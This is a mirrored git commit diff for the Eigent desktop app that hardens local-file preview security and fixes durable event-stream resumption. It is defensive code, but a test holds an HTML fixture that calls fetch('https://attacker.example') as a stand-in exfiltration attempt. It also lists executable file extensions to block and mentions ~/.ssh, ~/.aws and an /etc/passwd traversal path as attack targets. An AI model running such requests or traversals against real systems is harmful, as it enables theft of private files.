mirror of
https://github.com/eigent-ai/eigent.git
synced 2026-08-17 12:43:32 +00:00
fix durable resume and preview security boundaries
This commit is contained in:
parent
8ee0621e20
commit
89f00289bc
18 changed files with 952 additions and 80 deletions
|
|
@ -288,9 +288,16 @@ def _list_task_changed_files(
|
|||
except (OSError, ValueError):
|
||||
continue
|
||||
|
||||
try:
|
||||
stat_result = path.stat()
|
||||
except OSError:
|
||||
# The artifact list races with tools that atomically replace or
|
||||
# remove generated files. One vanished file must not fail the
|
||||
# whole Files changed panel.
|
||||
continue
|
||||
|
||||
seen_paths.add(identity)
|
||||
remaining -= 1
|
||||
stat_result = path.stat()
|
||||
result.append(
|
||||
{
|
||||
"filename": path.name,
|
||||
|
|
|
|||
|
|
@ -30,7 +30,7 @@ from contextlib import suppress
|
|||
from dataclasses import asdict
|
||||
from typing import Any
|
||||
|
||||
from fastapi import APIRouter, Depends, HTTPException, Query
|
||||
from fastapi import APIRouter, Depends, Header, HTTPException, Query
|
||||
from fastapi.responses import StreamingResponse
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
|
|
@ -554,10 +554,19 @@ async def get_run_events(
|
|||
async def stream_run_events(
|
||||
run_id: str,
|
||||
after_sequence: int = Query(default=0, ge=0),
|
||||
last_event_id: str | None = Header(default=None, alias="Last-Event-ID"),
|
||||
):
|
||||
await _load_run_or_404(run_id)
|
||||
reconnect_sequence = after_sequence
|
||||
if isinstance(last_event_id, str):
|
||||
try:
|
||||
parsed_last_event_id = int(last_event_id)
|
||||
except ValueError:
|
||||
parsed_last_event_id = -1
|
||||
if parsed_last_event_id >= 0:
|
||||
reconnect_sequence = max(reconnect_sequence, parsed_last_event_id)
|
||||
return StreamingResponse(
|
||||
_durable_event_stream(run_id, after_sequence=after_sequence),
|
||||
_durable_event_stream(run_id, after_sequence=reconnect_sequence),
|
||||
media_type="text/event-stream",
|
||||
)
|
||||
|
||||
|
|
|
|||
|
|
@ -7666,7 +7666,12 @@ class SQLiteRunJournal:
|
|||
connection.execute(
|
||||
"""
|
||||
UPDATE run_attempts
|
||||
SET status = ?, ended_at = COALESCE(ended_at, ?),
|
||||
SET status = ?, ended_at = COALESCE(
|
||||
ended_at,
|
||||
last_consumer_heartbeat_at,
|
||||
started_at,
|
||||
?
|
||||
),
|
||||
outcome = COALESCE(outcome, ?)
|
||||
WHERE run_id = ?
|
||||
AND status IN ('pending', 'running', 'waiting_for_user')
|
||||
|
|
|
|||
|
|
@ -14,6 +14,7 @@
|
|||
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
|
|
@ -187,6 +188,43 @@ def test_task_changes_exclude_files_written_after_run_attempt(tmp_path):
|
|||
]
|
||||
|
||||
|
||||
def test_task_changes_skip_file_deleted_between_walk_and_stat(
|
||||
monkeypatch, tmp_path
|
||||
):
|
||||
output_root = tmp_path / "outputs"
|
||||
output_root.mkdir()
|
||||
disappearing = output_root / "ephemeral.txt"
|
||||
disappearing.write_text("temporary", encoding="utf-8")
|
||||
original_stat = Path.stat
|
||||
target_stat_calls = 0
|
||||
|
||||
monkeypatch.setattr(
|
||||
file_controller,
|
||||
"list_files",
|
||||
lambda *_args, **_kwargs: [str(disappearing)],
|
||||
)
|
||||
|
||||
def disappearing_stat(path, *args, **kwargs):
|
||||
nonlocal target_stat_calls
|
||||
if path == disappearing:
|
||||
target_stat_calls += 1
|
||||
if target_stat_calls >= 2:
|
||||
raise FileNotFoundError(path)
|
||||
return original_stat(path, *args, **kwargs)
|
||||
|
||||
monkeypatch.setattr(Path, "stat", disappearing_stat)
|
||||
|
||||
files = file_controller._list_task_changed_files(
|
||||
SimpleNamespace(
|
||||
task_output_root=str(output_root),
|
||||
working_directory=str(output_root),
|
||||
task_start_time=time.time() - 10,
|
||||
)
|
||||
)
|
||||
|
||||
assert files == []
|
||||
|
||||
|
||||
def test_task_changes_endpoint_freezes_completed_run_manifest(
|
||||
monkeypatch, tmp_path
|
||||
):
|
||||
|
|
|
|||
|
|
@ -238,4 +238,6 @@ async def test_list_project_runs_reads_canonical_interrupted_state(tmp_path):
|
|||
|
||||
assert [run["run_id"] for run in result["runs"]] == ["older"]
|
||||
assert result["runs"][0]["status"] == "interrupted"
|
||||
assert result["runs"][0]["total_attempt_elapsed_ms"] == 1000
|
||||
# Startup recovery must not count the unobserved process-down interval as
|
||||
# active execution time. This attempt never persisted a later heartbeat.
|
||||
assert result["runs"][0]["total_attempt_elapsed_ms"] == 0
|
||||
|
|
|
|||
|
|
@ -206,3 +206,36 @@ async def test_stream_subscribes_before_replay_and_deduplicates_by_sequence():
|
|||
await stream.__anext__()
|
||||
|
||||
await coordinator.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_stream_resumes_from_last_event_id_on_transport_reconnect():
|
||||
events = [_event(1, "confirmed"), _event(2, "end")]
|
||||
journal = MagicMock()
|
||||
journal.get_run.return_value = _run_record()
|
||||
journal.list_events.side_effect = lambda run_id, *, after_sequence, limit: [
|
||||
event for event in events if event.sequence > after_sequence
|
||||
][:limit]
|
||||
coordinator = RunCoordinator()
|
||||
|
||||
with (
|
||||
patch(
|
||||
"app.controller.run_controller.get_default_run_journal",
|
||||
return_value=journal,
|
||||
),
|
||||
patch(
|
||||
"app.controller.run_controller.get_default_run_coordinator",
|
||||
return_value=coordinator,
|
||||
),
|
||||
):
|
||||
response = await stream_run_events(
|
||||
"run-1", after_sequence=0, last_event_id="1"
|
||||
)
|
||||
stream = response.body_iterator
|
||||
event_id, event_type, payload = _decode_sse(await stream.__anext__())
|
||||
|
||||
assert (event_id, event_type, payload["sequence"]) == (2, "run_event", 2)
|
||||
journal.list_events.assert_called_with(
|
||||
"run-1", after_sequence=1, limit=500
|
||||
)
|
||||
await coordinator.close()
|
||||
|
|
|
|||
|
|
@ -42,6 +42,29 @@ def test_attempt_admission_is_idempotent_and_startup_interrupts_it(tmp_path):
|
|||
)
|
||||
|
||||
|
||||
def test_startup_interruption_ends_attempt_at_last_consumer_heartbeat(tmp_path):
|
||||
path = tmp_path / "journal.sqlite3"
|
||||
with SQLiteRunJournal(path) as journal:
|
||||
journal.ensure_run(run_id="run-1", project_id="project-1")
|
||||
attempt = journal.create_run_attempt(
|
||||
"run-1",
|
||||
request_id="initial:run-1",
|
||||
reason="initial_execution",
|
||||
activate=True,
|
||||
now=10,
|
||||
)
|
||||
journal.heartbeat_attempt(attempt.attempt_id, now=12)
|
||||
|
||||
with SQLiteRunJournal(path) as reopened:
|
||||
reopened.reconcile_startup(now=20 * 60 * 60)
|
||||
recovered = reopened.get_run_attempt(attempt.attempt_id)
|
||||
|
||||
assert recovered is not None
|
||||
assert recovered.status == "interrupted"
|
||||
assert recovered.ended_at == 12
|
||||
assert recovered.elapsed_active_ms == 2000
|
||||
|
||||
|
||||
def test_attempt_replay_precedes_terminal_and_cancel_guards(tmp_path):
|
||||
with SQLiteRunJournal(tmp_path / "journal.sqlite3") as journal:
|
||||
journal.ensure_run(run_id="run-1", project_id="project-1")
|
||||
|
|
|
|||
|
|
@ -53,6 +53,11 @@ import {
|
|||
getInstallationStatus,
|
||||
PromiseReturnType,
|
||||
} from './install-deps';
|
||||
import {
|
||||
authorizeLocalFilePath,
|
||||
isExecutableExternalOpenPath,
|
||||
isMainRendererSender,
|
||||
} from './localFileSecurity';
|
||||
import { filePathFromLocalFileUrl } from './localFileUrl';
|
||||
import { setRoundedCorners } from './native/macos-window';
|
||||
import {
|
||||
|
|
@ -104,6 +109,7 @@ let browser_port = 9222;
|
|||
let use_external_cdp = false;
|
||||
let proxyUrl: string | null = null;
|
||||
const LEGACY_DESKTOP_INSTANCE_STORAGE_KEY = 'eigent_desktop_instance_id';
|
||||
const activeLocalFileRoots = new Set<string>();
|
||||
|
||||
function resolveDesktopInstanceId(legacyRendererId?: string | null): string {
|
||||
if (!desktopInstanceId) {
|
||||
|
|
@ -143,6 +149,39 @@ const isHttpOrHttpsUrl = (url: unknown): url is string => {
|
|||
}
|
||||
};
|
||||
|
||||
function assertMainRendererSender(event: Electron.IpcMainInvokeEvent): void {
|
||||
if (
|
||||
!win ||
|
||||
win.isDestroyed() ||
|
||||
!isMainRendererSender(event.sender.id, win.webContents.id) ||
|
||||
event.senderFrame !== event.sender.mainFrame
|
||||
) {
|
||||
throw new Error('This operation is restricted to the main renderer');
|
||||
}
|
||||
}
|
||||
|
||||
function localFileAllowedRoots(): string[] {
|
||||
// Only active Space roots plus the renderer's static application assets are
|
||||
// readable through localfile://. In particular, HOME, userData and the OS
|
||||
// temp directory are not trust boundaries for agent-authored HTML.
|
||||
return [...activeLocalFileRoots, RENDERER_DIST, VITE_PUBLIC];
|
||||
}
|
||||
|
||||
async function requireAuthorizedPreviewFile(
|
||||
event: Electron.IpcMainInvokeEvent,
|
||||
filePath: string
|
||||
): Promise<string> {
|
||||
assertMainRendererSender(event);
|
||||
const authorization = await authorizeLocalFilePath(
|
||||
filePath,
|
||||
localFileAllowedRoots()
|
||||
);
|
||||
if (!authorization.allowed) {
|
||||
throw new Error('Preview file is outside the active workspace');
|
||||
}
|
||||
return authorization.filePath;
|
||||
}
|
||||
|
||||
// CDP Browser Pool
|
||||
interface CdpBrowser {
|
||||
id: string;
|
||||
|
|
@ -1109,6 +1148,32 @@ function registerIpcHandlers() {
|
|||
typeof legacyRendererId === 'string' ? legacyRendererId : null
|
||||
);
|
||||
});
|
||||
ipcMain.handle(
|
||||
'set-local-file-preview-roots',
|
||||
async (event, roots: unknown) => {
|
||||
assertMainRendererSender(event);
|
||||
if (!Array.isArray(roots) || roots.length > 4) {
|
||||
throw new Error('Invalid local file preview roots');
|
||||
}
|
||||
|
||||
const nextRoots = new Set<string>();
|
||||
for (const root of roots) {
|
||||
if (typeof root !== 'string' || !path.isAbsolute(root)) {
|
||||
throw new Error('Local file preview roots must be absolute paths');
|
||||
}
|
||||
const realRoot = await fsp.realpath(root);
|
||||
const stats = await fsp.stat(realRoot);
|
||||
if (!stats.isDirectory()) {
|
||||
throw new Error('Local file preview roots must be directories');
|
||||
}
|
||||
nextRoots.add(realRoot);
|
||||
}
|
||||
|
||||
activeLocalFileRoots.clear();
|
||||
nextRoots.forEach((root) => activeLocalFileRoots.add(root));
|
||||
return { success: true, roots: activeLocalFileRoots.size };
|
||||
}
|
||||
);
|
||||
|
||||
// ==================== restart app handler ====================
|
||||
ipcMain.handle('restart-app', async () => {
|
||||
|
|
@ -1229,15 +1294,20 @@ function registerIpcHandlers() {
|
|||
|
||||
ipcMain.handle('read-file-dataurl', async (event, filePath) => {
|
||||
try {
|
||||
const stats = await fsp.stat(filePath);
|
||||
const authorizedPath = await requireAuthorizedPreviewFile(
|
||||
event,
|
||||
filePath
|
||||
);
|
||||
const stats = await fsp.stat(authorizedPath);
|
||||
if (stats.size > FILE_PREVIEW_LIMITS.imageBytes) {
|
||||
throw new Error(
|
||||
`FILE_PREVIEW_TOO_LARGE:${stats.size}:${FILE_PREVIEW_LIMITS.imageBytes}`
|
||||
);
|
||||
}
|
||||
const file = fs.readFileSync(filePath);
|
||||
const file = fs.readFileSync(authorizedPath);
|
||||
const mimeType =
|
||||
mime.getType(path.extname(filePath)) || 'application/octet-stream';
|
||||
mime.getType(path.extname(authorizedPath)) ||
|
||||
'application/octet-stream';
|
||||
return `data:${mimeType};base64,${file.toString('base64')}`;
|
||||
} catch (error: any) {
|
||||
log.error('Failed to read file as data URL:', filePath, error);
|
||||
|
|
@ -1759,12 +1829,27 @@ function registerIpcHandlers() {
|
|||
}
|
||||
});
|
||||
|
||||
ipcMain.handle('open-local-file', async (_event, filePath: string) => {
|
||||
const stats = await fsp.stat(filePath).catch(() => null);
|
||||
ipcMain.handle('open-local-file', async (event, filePath: string) => {
|
||||
assertMainRendererSender(event);
|
||||
const authorization = await authorizeLocalFilePath(
|
||||
filePath,
|
||||
localFileAllowedRoots()
|
||||
);
|
||||
if (!authorization.allowed) {
|
||||
return { success: false, error: 'File is outside the active workspace' };
|
||||
}
|
||||
const stats = await fsp.stat(authorization.filePath).catch(() => null);
|
||||
if (!stats?.isFile()) {
|
||||
return { success: false, error: 'File does not exist' };
|
||||
}
|
||||
const error = await shell.openPath(filePath);
|
||||
if (isExecutableExternalOpenPath(authorization.filePath, stats.mode)) {
|
||||
shell.showItemInFolder(authorization.filePath);
|
||||
return {
|
||||
success: false,
|
||||
error: 'Executable files cannot be opened from an agent result',
|
||||
};
|
||||
}
|
||||
const error = await shell.openPath(authorization.filePath);
|
||||
return error
|
||||
? { success: false, error }
|
||||
: { success: true, error: undefined };
|
||||
|
|
@ -2139,27 +2224,48 @@ function registerIpcHandlers() {
|
|||
// ==================== FileReader handler ====================
|
||||
ipcMain.handle(
|
||||
'open-file',
|
||||
async (_, type: string, filePath: string, isShowSourceCode: boolean) => {
|
||||
async (
|
||||
event,
|
||||
type: string,
|
||||
filePath: string,
|
||||
isShowSourceCode: boolean
|
||||
) => {
|
||||
const manager = checkManagerInstance(fileReader, 'FileReader');
|
||||
return manager.openFile(type, filePath, isShowSourceCode);
|
||||
const authorizedPath = await requireAuthorizedPreviewFile(
|
||||
event,
|
||||
filePath
|
||||
);
|
||||
return manager.openFile(type, authorizedPath, isShowSourceCode);
|
||||
}
|
||||
);
|
||||
|
||||
ipcMain.handle('get-file-preview-metadata', async (_, filePath: string) => {
|
||||
const manager = checkManagerInstance(fileReader, 'FileReader');
|
||||
return manager.getPreviewMetadata(filePath);
|
||||
});
|
||||
ipcMain.handle(
|
||||
'get-file-preview-metadata',
|
||||
async (event, filePath: string) => {
|
||||
const manager = checkManagerInstance(fileReader, 'FileReader');
|
||||
const authorizedPath = await requireAuthorizedPreviewFile(
|
||||
event,
|
||||
filePath
|
||||
);
|
||||
return manager.getPreviewMetadata(authorizedPath);
|
||||
}
|
||||
);
|
||||
|
||||
ipcMain.handle('preview-csv-file', async (_, filePath: string) => {
|
||||
ipcMain.handle('preview-csv-file', async (event, filePath: string) => {
|
||||
const manager = checkManagerInstance(fileReader, 'FileReader');
|
||||
return manager.previewCsvFile(filePath);
|
||||
const authorizedPath = await requireAuthorizedPreviewFile(event, filePath);
|
||||
return manager.previewCsvFile(authorizedPath);
|
||||
});
|
||||
|
||||
ipcMain.handle(
|
||||
'preview-text-file',
|
||||
async (_, filePath: string, limit?: number) => {
|
||||
async (event, filePath: string, limit?: number) => {
|
||||
const manager = checkManagerInstance(fileReader, 'FileReader');
|
||||
return manager.previewTextFile(filePath, limit);
|
||||
const authorizedPath = await requireAuthorizedPreviewFile(
|
||||
event,
|
||||
filePath
|
||||
);
|
||||
return manager.previewTextFile(authorizedPath, limit);
|
||||
}
|
||||
);
|
||||
|
||||
|
|
@ -2701,7 +2807,7 @@ async function createWindowInternal() {
|
|||
// Use a dedicated partition for main window to isolate from webviews
|
||||
// This ensures main window's auth data (localStorage) is stored separately and persists across restarts
|
||||
partition: 'persist:main_window',
|
||||
webSecurity: false,
|
||||
webSecurity: true,
|
||||
preload,
|
||||
nodeIntegration: true,
|
||||
contextIsolation: true,
|
||||
|
|
@ -3204,6 +3310,16 @@ const setupExternalLinkHandling = () => {
|
|||
}
|
||||
// For internal URLs (localhost, hash navigation), allow navigation to proceed
|
||||
});
|
||||
|
||||
// srcDoc report previews are sandboxed child frames. Never turn a scripted
|
||||
// child-frame navigation into an outbound request: it could encode local
|
||||
// workspace contents in the URL even when connect-src is disabled.
|
||||
win.webContents.on('will-frame-navigate', (details) => {
|
||||
if (!details.isMainFrame && isExternalUrl(details.url)) {
|
||||
details.preventDefault();
|
||||
log.warn('[HTML PREVIEW] Blocked external frame navigation');
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
// ==================== check and start backend ====================
|
||||
|
|
@ -3473,44 +3589,27 @@ app.whenReady().then(async () => {
|
|||
log.info(`[PROTOCOL] Handling localfile request: ${request.url}`);
|
||||
log.info(`[PROTOCOL] Resolved path: ${filePath}`);
|
||||
|
||||
// Security: Restrict file access to allowed directories only.
|
||||
// Without this check, path traversal (e.g. /../../../etc/passwd)
|
||||
// would allow reading arbitrary files on the filesystem.
|
||||
const allowedBases = [
|
||||
os.homedir(),
|
||||
app.getPath('userData'),
|
||||
app.getPath('temp'),
|
||||
];
|
||||
|
||||
const isPathAllowed = allowedBases.some((base) => {
|
||||
const resolvedBase = path.resolve(base);
|
||||
return (
|
||||
filePath === resolvedBase ||
|
||||
filePath.startsWith(resolvedBase + path.sep)
|
||||
);
|
||||
});
|
||||
|
||||
if (!isPathAllowed) {
|
||||
const authorization = await authorizeLocalFilePath(
|
||||
filePath,
|
||||
localFileAllowedRoots()
|
||||
);
|
||||
if (!authorization.allowed) {
|
||||
log.error(
|
||||
`[PROTOCOL] Security: Blocked access to path outside allowed directories: ${filePath}`
|
||||
`[PROTOCOL] Security: Blocked local file (${authorization.reason}): ${filePath}`
|
||||
);
|
||||
return new Response(
|
||||
authorization.reason === 'missing' ? 'File Not Found' : 'Forbidden',
|
||||
{ status: authorization.reason === 'missing' ? 404 : 403 }
|
||||
);
|
||||
return new Response('Forbidden', { status: 403 });
|
||||
}
|
||||
const authorizedFilePath = authorization.filePath;
|
||||
|
||||
try {
|
||||
// Check if file exists
|
||||
const fileExists = await fsp
|
||||
.access(filePath)
|
||||
.then(() => true)
|
||||
.catch(() => false);
|
||||
if (!fileExists) {
|
||||
log.error(`[PROTOCOL] File not found: ${filePath}`);
|
||||
return new Response('File Not Found', { status: 404 });
|
||||
}
|
||||
|
||||
const stats = await fsp.stat(filePath);
|
||||
const stats = await fsp.stat(authorizedFilePath);
|
||||
if (!stats.isFile()) return new Response('Not Found', { status: 404 });
|
||||
const contentType = mime.getType(filePath) || 'application/octet-stream';
|
||||
const contentType =
|
||||
mime.getType(authorizedFilePath) || 'application/octet-stream';
|
||||
const resolvedRange = resolveFileByteRange(
|
||||
request.headers.get('range'),
|
||||
stats.size
|
||||
|
|
@ -3536,7 +3635,7 @@ app.whenReady().then(async () => {
|
|||
return new Response(null, { status, headers });
|
||||
}
|
||||
|
||||
const stream = fs.createReadStream(filePath, { start, end });
|
||||
const stream = fs.createReadStream(authorizedFilePath, { start, end });
|
||||
return new Response(Readable.toWeb(stream) as BodyInit, {
|
||||
status,
|
||||
headers,
|
||||
|
|
|
|||
110
electron/main/localFileSecurity.ts
Normal file
110
electron/main/localFileSecurity.ts
Normal file
|
|
@ -0,0 +1,110 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import fsp from 'node:fs/promises';
|
||||
import path from 'node:path';
|
||||
|
||||
const EXECUTABLE_FILE_EXTENSIONS = new Set([
|
||||
'.app',
|
||||
'.applescript',
|
||||
'.bat',
|
||||
'.cmd',
|
||||
'.com',
|
||||
'.command',
|
||||
'.desktop',
|
||||
'.dmg',
|
||||
'.exe',
|
||||
'.hta',
|
||||
'.jar',
|
||||
'.js',
|
||||
'.jse',
|
||||
'.lnk',
|
||||
'.msi',
|
||||
'.msp',
|
||||
'.pkg',
|
||||
'.ps1',
|
||||
'.reg',
|
||||
'.scpt',
|
||||
'.sh',
|
||||
'.url',
|
||||
'.vbs',
|
||||
'.vbe',
|
||||
'.wsf',
|
||||
]);
|
||||
|
||||
export type LocalFileAuthorization =
|
||||
| { allowed: true; filePath: string }
|
||||
| { allowed: false; reason: 'invalid' | 'missing' | 'outside-roots' };
|
||||
|
||||
export function isMainRendererSender(
|
||||
senderId: number,
|
||||
mainRendererId: number | null | undefined
|
||||
): boolean {
|
||||
return typeof mainRendererId === 'number' && senderId === mainRendererId;
|
||||
}
|
||||
|
||||
function isPathInsideRoot(candidate: string, root: string): boolean {
|
||||
const relative = path.relative(root, candidate);
|
||||
return (
|
||||
relative === '' ||
|
||||
(!relative.startsWith('..') && !path.isAbsolute(relative))
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Authorize an existing path against real filesystem roots.
|
||||
*
|
||||
* Both the candidate and roots are resolved through realpath so a symlink
|
||||
* stored inside a workspace cannot escape to ~/.ssh, ~/.aws, or another
|
||||
* location outside the active Space.
|
||||
*/
|
||||
export async function authorizeLocalFilePath(
|
||||
candidatePath: string,
|
||||
allowedRoots: Iterable<string>
|
||||
): Promise<LocalFileAuthorization> {
|
||||
if (!candidatePath || !path.isAbsolute(candidatePath)) {
|
||||
return { allowed: false, reason: 'invalid' };
|
||||
}
|
||||
|
||||
let realCandidate: string;
|
||||
try {
|
||||
realCandidate = await fsp.realpath(candidatePath);
|
||||
} catch {
|
||||
return { allowed: false, reason: 'missing' };
|
||||
}
|
||||
|
||||
for (const root of allowedRoots) {
|
||||
if (!root || !path.isAbsolute(root)) continue;
|
||||
try {
|
||||
const realRoot = await fsp.realpath(root);
|
||||
if (isPathInsideRoot(realCandidate, realRoot)) {
|
||||
return { allowed: true, filePath: realCandidate };
|
||||
}
|
||||
} catch {
|
||||
// A stale or missing workspace binding grants no access.
|
||||
}
|
||||
}
|
||||
|
||||
return { allowed: false, reason: 'outside-roots' };
|
||||
}
|
||||
|
||||
export function isExecutableExternalOpenPath(
|
||||
filePath: string,
|
||||
mode = 0
|
||||
): boolean {
|
||||
return (
|
||||
EXECUTABLE_FILE_EXTENSIONS.has(path.extname(filePath).toLowerCase()) ||
|
||||
(mode & 0o111) !== 0
|
||||
);
|
||||
}
|
||||
|
|
@ -72,7 +72,10 @@ import {
|
|||
inlineLocalProjectImagePaths,
|
||||
toLocalFileUrl,
|
||||
} from '@/lib/htmlLocalAssets';
|
||||
import { containsDangerousContent } from '@/lib/htmlSanitization';
|
||||
import {
|
||||
containsDangerousContent,
|
||||
injectPreviewContentSecurityPolicy,
|
||||
} from '@/lib/htmlSanitization';
|
||||
import { isLocalWorkspaceSpace } from '@/lib/spaceLabel';
|
||||
import {
|
||||
formatFileSize,
|
||||
|
|
@ -2623,7 +2626,9 @@ function HtmlRenderer({
|
|||
const htmlWithStorageShim =
|
||||
injectSandboxStorageShim(htmlWithInlineImages);
|
||||
setProcessedHtml(
|
||||
injectFontStyles(deferInlineScriptsUntilLoad(htmlWithStorageShim))
|
||||
injectPreviewContentSecurityPolicy(
|
||||
injectFontStyles(deferInlineScriptsUntilLoad(htmlWithStorageShim))
|
||||
)
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
|
@ -2718,12 +2723,20 @@ function HtmlRenderer({
|
|||
);
|
||||
|
||||
// Set the processed HTML with font styles - iframe sandbox provides security
|
||||
setProcessedHtml(injectFontStyles(htmlWithDeferredScripts));
|
||||
setProcessedHtml(
|
||||
injectPreviewContentSecurityPolicy(
|
||||
injectFontStyles(htmlWithDeferredScripts)
|
||||
)
|
||||
);
|
||||
};
|
||||
|
||||
processHtml().catch((error) => {
|
||||
console.error('[HtmlRenderer] Failed to process HTML:', error);
|
||||
setProcessedHtml(injectFontStyles(selectedFile.content || ''));
|
||||
setProcessedHtml(
|
||||
injectPreviewContentSecurityPolicy(
|
||||
injectFontStyles(selectedFile.content || '')
|
||||
)
|
||||
);
|
||||
});
|
||||
}, [selectedFile, projectFiles, ipcRenderer, electronAPI]);
|
||||
|
||||
|
|
@ -2903,6 +2916,7 @@ export function FileViewerPanel({
|
|||
onRevealFile,
|
||||
onBreadcrumbSegmentClick,
|
||||
onDownloadFile,
|
||||
onOpenExternalFile,
|
||||
onToggleSourceCode,
|
||||
headerActionsExtra,
|
||||
emptyState,
|
||||
|
|
|
|||
|
|
@ -20,6 +20,7 @@ import { useHost } from '@/host';
|
|||
import { useAuthStore } from '@/store/authStore';
|
||||
import { hasAnyActiveRun } from '@/store/chatStore';
|
||||
import { useInstallationUI } from '@/store/installationStore';
|
||||
import { useSpaceStore } from '@/store/spaceStore';
|
||||
import { useEffect, useState } from 'react';
|
||||
import { Outlet } from 'react-router-dom';
|
||||
import CloseNoticeDialog from '../Dialog/CloseNotice';
|
||||
|
|
@ -35,6 +36,10 @@ const Layout = () => {
|
|||
setInitState: _setInitState,
|
||||
} = useAuthStore();
|
||||
const [noticeOpen, setNoticeOpen] = useState(false);
|
||||
const activeWorkspaceRoot = useSpaceStore((state) => {
|
||||
const activeSpaceId = state.activeSpaceId;
|
||||
return activeSpaceId ? state.spaces[activeSpaceId]?.rootPath || null : null;
|
||||
});
|
||||
|
||||
//Get Chatstore for the active project's task
|
||||
const { chatStore } = useChatStoreAdapter();
|
||||
|
|
@ -53,6 +58,21 @@ const Layout = () => {
|
|||
|
||||
useInstallationSetup();
|
||||
|
||||
useEffect(() => {
|
||||
if (!host?.ipcRenderer?.invoke) return;
|
||||
void host.ipcRenderer
|
||||
.invoke(
|
||||
'set-local-file-preview-roots',
|
||||
activeWorkspaceRoot ? [activeWorkspaceRoot] : []
|
||||
)
|
||||
.catch((error: unknown) => {
|
||||
console.warn(
|
||||
'[Layout] Failed to register the active workspace preview root:',
|
||||
error
|
||||
);
|
||||
});
|
||||
}, [activeWorkspaceRoot, host]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!host?.ipcRenderer || !host?.electronAPI) return;
|
||||
|
||||
|
|
|
|||
40
src/lib/htmlSanitization.test.ts
Normal file
40
src/lib/htmlSanitization.test.ts
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
injectPreviewContentSecurityPolicy,
|
||||
PREVIEW_CONTENT_SECURITY_POLICY,
|
||||
} from './htmlSanitization';
|
||||
|
||||
describe('HTML preview CSP', () => {
|
||||
it('replaces an agent-authored policy with the application policy', () => {
|
||||
const html = injectPreviewContentSecurityPolicy(`<!doctype html>
|
||||
<html><head>
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src *">
|
||||
</head><body><script>fetch('https://attacker.example')</script></body></html>`);
|
||||
const doc = new DOMParser().parseFromString(html, 'text/html');
|
||||
const policies = doc.querySelectorAll(
|
||||
'meta[http-equiv="Content-Security-Policy" i]'
|
||||
);
|
||||
|
||||
expect(policies).toHaveLength(1);
|
||||
expect(policies[0].getAttribute('content')).toBe(
|
||||
PREVIEW_CONTENT_SECURITY_POLICY
|
||||
);
|
||||
expect(PREVIEW_CONTENT_SECURITY_POLICY).toContain("default-src 'none'");
|
||||
expect(PREVIEW_CONTENT_SECURITY_POLICY).toContain("connect-src 'none'");
|
||||
expect(PREVIEW_CONTENT_SECURITY_POLICY).not.toContain('https:');
|
||||
});
|
||||
});
|
||||
|
|
@ -31,6 +31,53 @@ export const DANGEROUS_PATTERNS = [
|
|||
/contextIsolation/i,
|
||||
];
|
||||
|
||||
export const PREVIEW_CONTENT_SECURITY_POLICY = [
|
||||
"default-src 'none'",
|
||||
"script-src 'unsafe-inline' data: blob: localfile:",
|
||||
"style-src 'unsafe-inline' data: blob: localfile:",
|
||||
'img-src data: blob: localfile:',
|
||||
'font-src data: blob: localfile:',
|
||||
'media-src data: blob: localfile:',
|
||||
"connect-src 'none'",
|
||||
"object-src 'none'",
|
||||
"frame-src 'none'",
|
||||
"child-src 'none'",
|
||||
"form-action 'none'",
|
||||
"navigate-to 'none'",
|
||||
'worker-src blob:',
|
||||
].join('; ');
|
||||
|
||||
/**
|
||||
* Give every srcDoc preview its own deny-by-default policy. The iframe may run
|
||||
* report scripts, but those scripts cannot fetch, beacon, submit, frame, or
|
||||
* otherwise exfiltrate files obtained through localfile://.
|
||||
*/
|
||||
export function injectPreviewContentSecurityPolicy(html: string): string {
|
||||
if (typeof DOMParser === 'undefined') return html;
|
||||
|
||||
const parser = new DOMParser();
|
||||
const doc = parser.parseFromString(html, 'text/html');
|
||||
const doctype = html.match(/<!doctype[^>]*>/i)?.[0] || '';
|
||||
const head = doc.head || doc.createElement('head');
|
||||
const existing = head.querySelector(
|
||||
'meta[http-equiv="Content-Security-Policy" i]'
|
||||
);
|
||||
existing?.remove();
|
||||
|
||||
const policy = doc.createElement('meta');
|
||||
policy.setAttribute('http-equiv', 'Content-Security-Policy');
|
||||
policy.setAttribute('content', PREVIEW_CONTENT_SECURITY_POLICY);
|
||||
head.prepend(policy);
|
||||
|
||||
if (!doc.head) {
|
||||
const htmlElement = doc.documentElement || doc.createElement('html');
|
||||
htmlElement.prepend(head);
|
||||
if (!doc.documentElement) doc.appendChild(htmlElement);
|
||||
}
|
||||
|
||||
return `${doctype}${doc.documentElement?.outerHTML || html}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if HTML content contains dangerous patterns that could attempt
|
||||
* to access Electron/Node.js APIs.
|
||||
|
|
|
|||
110
